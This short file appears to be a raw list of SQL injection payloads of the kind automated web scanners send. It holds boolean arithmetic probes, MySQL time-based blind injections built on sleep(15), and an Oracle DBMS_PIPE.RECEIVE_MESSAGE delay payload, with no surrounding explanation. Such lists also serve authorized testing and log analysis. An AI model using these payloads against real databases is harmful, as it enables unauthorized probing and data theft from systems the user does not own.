-1 OR 3+55-55-1=0+0+0+1
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555sJWP0x12
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)